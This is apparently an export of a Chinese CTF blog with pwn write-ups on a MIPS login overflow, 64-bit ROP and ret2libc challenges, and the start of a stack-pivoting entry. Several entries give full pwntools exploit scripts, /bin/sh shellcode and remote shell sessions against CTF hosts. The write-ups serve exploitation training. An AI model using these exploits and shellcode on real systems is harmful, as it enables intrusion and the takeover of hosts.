<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">sub_400978</span><span class="params">(<span class="keyword">int</span> a1)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> v2[<span class="number">20</span>]; <span class="comment">// [sp+18h] [+18h] BYREF</span></span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// [sp+2Ch] [+2Ch]</span></span><br><span class="line"> <span class="keyword">char</span> v4[<span class="number">36</span>]; <span class="comment">// [sp+3Ch] [+3Ch] BYREF</span></span><br><span class="line"></span><br><span class="line"> v3 = a1 + <span class="number">4</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\x1B[31m"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Pre_Password : "</span>);</span><br><span class="line"> read(<span class="number">0</span>, v2, <span class="number">36</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Password : "</span>);</span><br><span class="line"> read(<span class="number">0</span>, v4, v3);</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strncmp</span>(v2, <span class="string">"access"</span>, <span class="number">6</span>) || <span class="built_in">strncmp</span>(v4, <span class="string">"0123456789"</span>, <span class="number">10</span>) )</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">"Correct password : **********"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>上面三个函数可以分析出,main函数调用sub_400840后首先要求输入Username,开始的read函数并没有溢出,后面的strncmp判断要求前5个字符是admin才行,然后会将输入的字符的长度作为返回值传入sub_400978中,其中sub_400978的v3是第一次输入的字符次长度+4,也就是最大是30,紧接着要求输入Pre_Password,read的输入最大是36个字节长度,明显大于v2本身分配的20个字节,存在溢出漏洞,然后再要求输入一次password,最后的if可知第二次输入的和第三次输入的,分别前面得是access和0123456789,最后结束</p>
<p>漏洞利用思路:</p>
<ul>
<li><p>对于第一次输入read,可以通过构造满23个字符+\n,使得’\0’没有空位,拼接到返回的地址,这样就能够通过printf(“%s”)打印泄露调用叶子函数之前的地址了</p>
</li>
<li><p>对于第二次输入read,可以通过溢出改变v3的值,因为v3是控制第三次输入字符串的长度,可以让第三次输入的字符串长度足够大溢出到覆盖返回地址并拼接shellcode</p>
</li>
<li><p>对于第三次输入read,将结合第一次输入泄露的返回地址,覆盖堆栈地址和返回地址</p>
</li>
</ul>
<p>调试:</p>
<p>qemu模拟运行,开1234端口:</p>
<p><code>qemu-arm -g 1234 -L . ./Mplogin</code></p>
<p>gdb动态调试</p>
<p><code>set architecture mips</code></p>
<p><code>set endian little</code></p>
<p><code>target remote :1234</code></p>
<p>对main函数开头进行断点<code>b *0x400aec</code>,c之后这样</p>
<p>结合前面的MIPS结构特点,啰嗦一次下面两条指令</p>
<p>第一条指令:<code>0x400aec addiu $sp, $sp, -0x28</code>因为MIPS是通过sp寄存器来访问函数内部的变量等,所以通过减去0x28个字节来分配main函数需要的栈空间</p>
<p>第二条指令:<code>0x400af0 sw $ra, 0x24($sp)</code>已经进入call main内部了,所以需要提前把前面ra所保存的地址给保存下来,毕竟程序不知道自己下一步还会不会调用一个相对而言的非叶子函数,如果调用的话,那么ra会用于非叶子函数,值会变为非叶子函数的返回地址,此时,前面对返回地址保存状态的意义就有了,因为到main函数快结束时,ra的值还是非叶子函数的返回地址,但因为有保存,所以ra会被重置为返回地址,再跳转到ra</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw7vlb23ncj31c00u0agd.jpg" alt="image-20211108173517301"></p>
<p>对main函数调用sub_400840前进行断点</p>
<p><code>b *0x400B88</code>,c执行后,发现ra跟开始调用main函数时不一样,因为别忘了,题目在这之前调用过puts、printf等这类系统函数,ra可以说是上一次返回地址的一个历史记录</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw84gjlgfqj31ev0u0tfb.jpg" alt="image-20211108212020278"></p>
<p>进入sub_400840中,执行到输入,第一次输入:<code>adminaaaaaaaaaaaaaaaaaaa</code>,程序执行printf的时候会把返回地址给输出出来,这里的乱码就是返回地址(因为足够长,没有了\0,拼接到了栈中的返回地址,从而造成了泄露,具体可以看前面的反汇编出的C)</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw82ms4qpfj30mk0cgmyp.jpg" alt="image-20211108213853566"></p>
<p>可以查看下输入的内存数据,发现的的确确就是返回地址0x40800b90,这里的0x40800510相当于x86的ebp,0x40800b90相当于esp了</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw843pzni6j30u00zyguo.jpg" alt="image-20211108222936846"></p>
<p>返回地址:0x400B90</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gw844i0lbjj30x20ckmzh.jpg" alt="image-20211108223031148"></p>
<p>misel shellcode:<a href="https://www.exploit-db.com/shellcodes/35868">https://www.exploit-db.com/shellcodes/35868</a></p>
<p>EXP:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line">context.arch = <span class="string">"mips"</span></span><br><span class="line">context.endian = <span class="string">"little"</span></span><br><span class="line">shellcode = <span class="string">"\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"</span></span><br><span class="line">p = process([<span class="string">"qemu-mipsel"</span>,<span class="string">"-L"</span>,<span class="string">"./"</span>,<span class="string">"./Mplogin"</span>])</span><br><span class="line">p.recvuntil(<span class="string">"Username : "</span>)</span><br><span class="line">payload = <span class="string">"admin"</span> + <span class="string">"a"</span>*<span class="number">19</span></span><br><span class="line">p.send(payload)</span><br><span class="line">p.recvuntil(<span class="string">"a"</span>*<span class="number">19</span>)</span><br><span class="line">stack_addr = p.recv(<span class="number">8</span>)</span><br><span class="line">stack_addr = u32(stack_addr[<span class="number">4</span>:<span class="number">7</span>]</span><br><span class="line">p.recvuntil(<span class="string">"Pre_Password : "</span>)</span><br><span class="line">payload = <span class="string">"access"</span> + <span class="string">"a"</span>*<span class="number">14</span> + p32(<span class="number">0xabc</span>)</span><br><span class="line">p.send(payload)</span><br><span class="line">p.recvuntil(<span class="string">"Password : "</span>)</span><br><span class="line">payload = <span class="string">"0123456789"</span> + <span class="string">"a"</span>*<span class="number">30</span> + p32(<span class="number">0xdeadbeef</span>) + p32(stack_addr) + shellcode</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
]]></content>
<categories>
<category>IoT安全</category>
</categories>
<tags>
<tag>IoT</tag>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>PWN-64位ROP-Bugku_PWN4</title>
<url>/2020/11/24/PWN-64%E4%BD%8DROP-Bugku-PWN4/</url>
<content><![CDATA[<p>没有开任何保护<br><img width="357" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdacnb6ej30ju0ayq4d.jpg"></p>
<p>反汇编很明显栈溢出<br><img width="947" alt="image" src="https://user-images.githubusercontent.com/51265145/111448765-b42ad380-8749-11eb-8852-c7ff57859d13.png"><br><img width="486" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdadd43cj30r00pqdix.jpg"></p>
<p>然而只有System函数地址是已知的(0x400570),参数”/bin/sh”未知<br>发现有$0(代表bash,做参数等同于”/bin/sh”)<br><img width="1435" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdaelmxfj31ot0u0n69.jpg"></p>
<p>**特别注意:**32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候)<br>所以我们要找一个能够pop rdi的指令通过这句ROPgadget –binary pwn4 –only “pop|ret”可以找到,地址为0x4007d3<br><img width="769" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdafrko3j316q0h843s.jpg"></p>
<p>用命令ROPgadget –binary pwn4 –string ‘$0’ 找到$0的地址0x60111f<br><img width="649" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdaeriz4j310205uwfy.jpg"></p>
<p>最后构造payload<br><img width="892" alt="image" src="https://user-images.githubusercontent.com/51265145/111448971-e89e8f80-8749-11eb-8371-a42936061572.png"><br><img width="644" alt="image" src="https://tva1.sinaimg.cn/large/008i3skNly1gwqdafax04j30zs0fu766.jpg"></p>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
</tags>
</entry>
<entry>
<title>ROP-32位-ret2libc-攻防世界level3</title>
<url>/2020/10/04/ROP-32%E4%BD%8D-ret2libc-%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Clevel3/</url>
<content><![CDATA[<p><a href="level3.zip">题目</a></p>
<p>此题属于ROP中的ret2libc类型</p>
<h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p>首先查看保护</p>
<p>level3开启了NX保护</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/level3]</span><br><span class="line">└─<span class="comment"># checksec level3</span></span><br><span class="line">[*] <span class="string">'/home/level3/level3'</span></span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: No PIE (0x8048000)</span><br></pre></td></tr></table></figure>
<p>而libc_32.so.6开启了Canary、NX、PIE保护</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/level3]</span><br><span class="line">└─<span class="comment"># checksec libc_32.so.6 </span></span><br><span class="line">[*] <span class="string">'/home/level3/libc_32.so.6'</span></span><br><span class="line"> Arch: i386-32-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: Canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: PIE enabled</span><br></pre></td></tr></table></figure>
<p>放入ida反汇编,发现main函数首先调用了vulnerable_function,调用结束后通过write函数来打印Hello, World!</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> vulnerable_function();</span><br><span class="line"> write(<span class="number">1</span>, <span class="string">"Hello, World!\n"</span>, <span class="number">0xE</span>u);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>vulnerable_function中定义了buf变量,大小为0x88字节,再write函数打印Input之后,调用了read函数,用户可以输入0x100个字节,很明显这里可以栈溢出攻击</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable_function</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buf; <span class="comment">// [esp+0h] [ebp-88h]</span></span><br><span class="line"></span><br><span class="line"> write(<span class="number">1</span>, <span class="string">"Input:\n"</span>, <span class="number">7u</span>);</span><br><span class="line"> <span class="keyword">return</span> read(<span class="number">0</span>, &buf, <span class="number">0x100</span>u);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>接下来想这去覆盖返回地址为system,但发现level3中没有system函数可以直接跳转的偏移地址,并且level3中也没有”/bin/sh”的地址来充当system函数的参数</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gww4w6pod9j30ks0qqgnw.jpg" alt="image-20211129171041435"></p>
<p>没有system和”/bin/sh”的地址怎么跳转,怎么办呢?这里需要了解下libc(题目的libc_32.so.6文件就是)以及got.plt的延迟绑定机制</p>
<p><strong>libc介绍</strong><br>libc是Linux下的ANSI C的函数库。<br>ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。比如write、system以及”/bin/sh”字符串等都在里面…</p>
<p><strong>GOT和PLT的作用:</strong><br>ELF文件中通常存在.GOT.PLT和.PLT这两个特殊的节,ELF编译时无法知道libc等动态链接库的加载地址。如果一个程序想调用动态链接库的函数,就必须使用.GOT.PLT和.PLT配合完成调用。<br>ELF中所有用到的外部动态链接库函数都会有对应的PLT项目<br>PLT表还是一段代码,作用是从内存中取出一个地址然后跳转。取出的地址便是函数的真实地址<br><strong>got.plt表的延迟绑定机制</strong>:.GOT.PLT表的初始化是在第一次调用该函数的过程中完成的,也就是说,某个函数必须被调用过,.GOT.PLT表中才会存放函数的真实地址</p>
<p>因此level3程序在第一次调用write函数时,plt表里没有write函数的真实地址,在调用之后,got.plt表才会<strong>存放</strong>(存放!不是等于)write函数的真实地址,而这个真实地址在libc开启了地址随机化保护(ASLR)等于基地址+write函数在libc中的偏移地址。</p>
<h3 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路"></a><strong>攻击思路</strong></h3><p>在理解了这些基础后,我们的攻击思路就清楚了</p>
<ul>
<li>首先前面level3程序中通过write函数打印了两次字符串,并且write函数在调用了,因此我们构造出第一次payload攻击,可以先栈溢出覆盖返回地址为write,借助于write函数打印它got.plt表中的地址(write函数的真实地址),write调用完饭回到main从头又开始</li>
<li>在发送第一次payload后,可以获取到write的真实地址,用write的真实地址减去write函数在plt表中的地址(本地获取level3中write的plt表地址)从而计算出libc运行加载的基地址base_addr</li>
<li>本地获取system、”/bin/sh”的偏移地址,计算出system、”/bin/sh”的真实地址</li>
<li>构造第二次payload实施第二次攻击最后getshell</li>
</ul>
<h3 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h3><p>可以用python的函数去获取二进制文件中got、plt表的地址:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">p = process(<span class="string">"./level3"</span>)</span><br><span class="line">elf = ELF(<span class="string">"./level3"</span>)</span><br><span class="line">libc = ELF(<span class="string">"./libc_32.so.6"</span>)</span><br><span class="line"></span><br><span class="line">write_plt = elf.plt[<span class="string">'write'</span>] <span class="comment">#获取plt表中write地址</span></span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>] <span class="comment">#获取got表中write函数地址</span></span><br><span class="line">main_addr = elf.symbols[<span class="string">'main'</span>] <span class="comment">#获取的.text中的main函数地址</span></span><br></pre></td></tr></table></figure>
<p>获取”/bin/sh”字符串的地址:0x15902b</p>
<p><code>strings -a -t x libc_32.so.6 | grep "/bin/sh"</code></p>
<h4 id="payload1"><a href="#payload1" class="headerlink" title="payload1"></a>payload1</h4><p>第一次攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + write在plt表中的地址 + write返回时主函数地址 + write参数1fd + 要求的的offset write的地址 + 长度4</p>
<p><code>payload1 = 'a'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x4)</code></p>
<p>write参数说明一下:</p>
<p>可以从调用write前的汇编代码看出来栈地址从小到大应该依次是fd(为1就是打印字符串)、要打印的字符串offset地址、打印字符串的长度(字节数),因此上面的payload1中0x4是因为要打印出write函数的真实地址的长度(32位占4个字节)</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0804849D push 0Eh ; n</span><br><span class="line">.text:0804849F push offset aHelloWorld ; "Hello, World!\n"</span><br><span class="line">.text:080484A4 push 1 ; fd</span><br><span class="line">.text:080484A6 call _write</span><br></pre></td></tr></table></figure>
<h4 id="payload2"><a href="#payload2" class="headerlink" title="payload2"></a>payload2</h4><p>第二次攻击攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + system调用地址 + 覆盖返回地址(随意) + “参数/bin/sh地址”</p>
<p><code>payload2 = 'a'*0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)</code></p>
<h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># encoding: utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">r = remote(<span class="string">"111.200.241.244"</span>, <span class="number">56117</span>)</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'./level3'</span>) </span><br><span class="line">libc = ELF(<span class="string">'./libc_32.so.6'</span>)</span><br><span class="line"></span><br><span class="line">write_plt = elf.plt[<span class="string">'write'</span>] </span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>]</span><br><span class="line">main_addr = elf.symbols[<span class="string">'main'</span>]</span><br><span class="line"></span><br><span class="line">write_libc = libc.symbols[<span class="string">'write'</span>]</span><br><span class="line">sys_libc = libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"><span class="comment">#strings -a -t x libc_32.so.6 | grep "/bin/sh"找到sh的偏移</span></span><br><span class="line">bin_sh_libc = <span class="number">0x15902b</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#第一次攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + write在plt表中的地址 + write返回时主函数地址 + write参数1fd + 要求的的offset write的地址 + 长度4 </span></span><br><span class="line">payload1 = <span class="string">'a'</span>*<span class="number">0x88</span> + p32(<span class="number">0xdeadbeef</span>) + p32(write_plt) + p32(main_addr) + p32(<span class="number">1</span>) + p32(write_got) + p32(<span class="number">0x4</span>)</span><br><span class="line"></span><br><span class="line">r.recv()</span><br><span class="line">r.sendline(payload1)</span><br><span class="line">res = r.recv()</span><br><span class="line">write_addr = u32(res[:<span class="number">4</span>])</span><br><span class="line"></span><br><span class="line">base_libc = write_addr - write_libc <span class="comment">#计算PIE保护随机化后的基址</span></span><br><span class="line">sys_addr = base_libc + sys_libc</span><br><span class="line">bin_sh_addr = base_libc + bin_sh_libc</span><br><span class="line"></span><br><span class="line"><span class="comment">#第二次攻击攻击栈内内容 = 覆盖字符数组 + 覆盖ebp + system调用地址 + 覆盖返回地址(随意) + "参数/bin/sh地址"</span></span><br><span class="line">payload2 = <span class="string">'a'</span>*<span class="number">0x88</span> + p32(<span class="number">0xdeadbeef</span>) + p32(sys_addr) + p32(<span class="number">0xdeadbeef</span>) + p32(bin_sh_addr)</span><br><span class="line"></span><br><span class="line">r.sendline(payload2)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>
<p>打通!</p>
<p><img src="https://tva1.sinaimg.cn/large/008i3skNly1gww69mzgloj30oc0kita3.jpg" alt="image-20211129175811531"></p>
]]></content>
<tags>
<tag>PWN</tag>
<tag>ROP</tag>
<tag>ret2libc</tag>
</tags>
</entry>
<entry>
<title>ROP-64位-ret2libc</title>
<url>/2021/11/30/ROP-64%E4%BD%8D-ret2libc/</url>
<content><![CDATA[<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p><a href="stack5.zip">题目</a></p>
<p>查看可执行文件stack5的保护,只开启了NX保护</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack5]</span><br><span class="line">└─<span class="comment"># checksec stack5</span></span><br><span class="line">[*] <span class="string">'/home/stack5/stack5'</span></span><br><span class="line"> Arch: amd64-64-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: No PIE (0x400000)</span><br></pre></td></tr></table></figure>
<p>查看动态链接库libc-2.23.so的保护,开启了PIE,每次加载基地址都会随机化</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack5]</span><br><span class="line">└─<span class="comment"># checksec libc-2.23.so </span></span><br><span class="line">[*] <span class="string">'/home/stack5/libc-2.23.so'</span></span><br><span class="line"> Arch: amd64-64-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: Canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: PIE ena</span><br><span class="line"> bled</span><br></pre></td></tr></table></figure>
<p>main函数中,打印泄露了stdout的真实地址</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buf; <span class="comment">// [rsp+10h] [rbp-100h]</span></span><br><span class="line"></span><br><span class="line"> setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line"> setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"welcome to stack5"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Here is a gift: %p\n"</span>, <span class="built_in">stdout</span>, argv);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"input your name plz"</span>);</span><br><span class="line"> read(<span class="number">0</span>, &buf, <span class="number">0x100</span>uLL);</span><br><span class="line"> print_name(&buf);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>print_name中存在栈溢出</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">print_name</span><span class="params">(<span class="keyword">const</span> <span class="keyword">void</span> *a1)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> dest; <span class="comment">// [rsp+10h] [rbp-20h]</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>(&dest, a1, <span class="number">0x100</span>uLL);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">"Hello %s\n"</span>, &dest);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="攻击思路"><a href="#攻击思路" class="headerlink" title="攻击思路"></a>攻击思路</h2><p>首先获取泄露的stdout的实际地址,然后结合libc中stdout的偏移地址从而计算出libc加载的基地址,进而算出system和”/bin/sh”的实际地址,再栈溢出攻击</p>
<h2 id="编写payload"><a href="#编写payload" class="headerlink" title="编写payload"></a>编写payload</h2><p>获取”/bin/sh”在libc中的偏移地址为0x18ce17,<code>ROPgadget --binary stack5 --string "/bin/sh"</code></p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack5]</span><br><span class="line">└─<span class="comment"># strings -a -t x libc-2.23.so | grep "/bin/sh"</span></span><br><span class="line"> 18ce17 /bin/sh</span><br></pre></td></tr></table></figure>
<p>对system和stdout在libc中偏移地址的获取建议直接ida里找了,这是最准的,我用ROPgadget找的地址不对,也不知道为什么,有师傅知道的麻烦留言或者联系我</p>
<p>放入ida中查看stdout的地址为0x3C5620</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.data:00000000003C5620 public _IO_2_1_stdout_</span><br><span class="line">.data:00000000003C5620 _IO_2_1_stdout_ db 84h ; DATA XREF: LOAD:00000000000088C8↑o</span><br><span class="line">.data:00000000003C5620 ; .data:00000000003C55A8↑o ...</span><br></pre></td></tr></table></figure>
<p>system偏移地址为0x453a0</p>
<p>因为是64位,还需要rdi_ret的地址</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack5]</span><br><span class="line">└─<span class="comment"># ROPgadget --binary stack5 --only "pop|ret" | grep rdi</span></span><br><span class="line">0x0000000000400843 : pop rdi ; ret</span><br></pre></td></tr></table></figure>
<h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># encoding: utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = 'debug'</span></span><br><span class="line">r = remote(<span class="string">"47.94.239.235"</span>, <span class="number">2025</span>)</span><br><span class="line">r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">stdout_addr = r.recvuntil(<span class="string">"\n"</span>)</span><br><span class="line">stdout_addr = <span class="built_in">int</span>(stdout_addr[-<span class="number">15</span>:-<span class="number">1</span>], <span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(stdout_addr))</span><br><span class="line">stdout_libc_addr = <span class="number">0x3c5620</span></span><br><span class="line">system_libc_addr = <span class="number">0x453a0</span></span><br><span class="line">sh_libc_addr = <span class="number">0x18ce17</span></span><br><span class="line"></span><br><span class="line">base_addr = stdout_addr - stdout_libc_addr</span><br><span class="line">system_addr = base_addr + system_libc_addr</span><br><span class="line">sh_addr = base_addr + sh_libc_addr</span><br><span class="line">rdi_ret_addr = <span class="number">0x400843</span></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">0x20</span> + p64(<span class="number">0xdeadbeef</span>) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr)</span><br><span class="line">r.recv()</span><br><span class="line">r.send(payload)</span><br><span class="line">r.recv()</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>
<p>打通!</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack5]</span><br><span class="line">└─<span class="comment"># python2 exp.py </span></span><br><span class="line">[+] Opening connection to 47.94.239.235 on port 2025: Done</span><br><span class="line">0x7fb8d2262620</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ whoami</span><br><span class="line">ctf</span><br><span class="line">$ cat home/ctf/flag</span><br><span class="line">flag{a37e9c0d-234b-490f-bd63-5765e67dc12d}$ </span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>PWN</tag>
<tag>CTF</tag>
<tag>ROP</tag>
</tags>
</entry>
<entry>
<title>ROP-花式栈溢出stack_pivoting</title>
<url>/2021/11/29/ROP-%E8%8A%B1%E5%BC%8F%E6%A0%88%E6%BA%A2%E5%87%BAstack-pivoting/</url>
<content><![CDATA[<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p><a href="stack4">题目</a></p>
<p>查看保护</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">┌──(root💀06aa46c0844f)-[/home/stack_pivoting]</span><br><span class="line">└─<span class="comment"># checksec stack4 </span></span><br><span class="line">[*] <span class="string">'/home/stack_pivoting/stack4'</span></span><br><span class="line"> Arch: amd64-64-little</span><br><span class="line"> RELRO: Partial RELRO</span><br><span class="line"> Stack: No canary found</span><br><span class="line"> NX: NX enabled</span><br><span class="line"> PIE: No PIE (0x400000)</span><br></pre></td></tr></table></figure>
<p>程序会故意泄露buf的首地址(暂且不知道有啥用)</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buf; <span class="comment">// [rsp+10h] [rbp-100h]</span></span><br><span class="line"></span><br><span class="line"> setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line"> setbuf(_bss_start, <span class="number">0LL</span>);</span><br><span class="line"> setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"welcome to stack4"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"here is a gift: %p\n"</span>, &buf, argv);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"input your name plz"</span>);</span><br><span class="line"> read(<span class="number">0</span>, &buf, <span class="number">0x100</span>uLL);</span><br><span class="line"> print_name(&buf);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>print_name函数内部发生栈溢出,然而只是溢出了2个字节,不足以覆到返回地址</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __fastcall <span class="title">print_name</span><span class="params">(<span class="keyword">const</span> <span class="keyword">void</span> *a1)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> dest; <span class="comment">// [rsp+10h] [rbp-30h]</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>(&dest, a1, <span class="number">0x32</span>uLL);</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">"Hello %s\n"</span>, &dest);</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>但是,因为main和print_name函数的栈帧差距较小,因此溢出的2个字节完全可以覆盖成泄露的buf的地址,从而改变了main函数的rbp,调用print_name函数快结束时,leave等同于mov rsp, rbp;pop rbp,此时rbp就是buf的首地址,然后retn等同于pop rip,回到main刚刚调用完print_name的地方,后面就是main函数的结束恢复帧栈空间了,同理,后面的leave会先把rsp赋值为rbp,这样rsp指向的就是buf了,然后再去pop ebp和ret操作就去执行了我们再buf中构造好的ROP chain啦!</p>
<p>未覆盖时的栈帧结构</p>
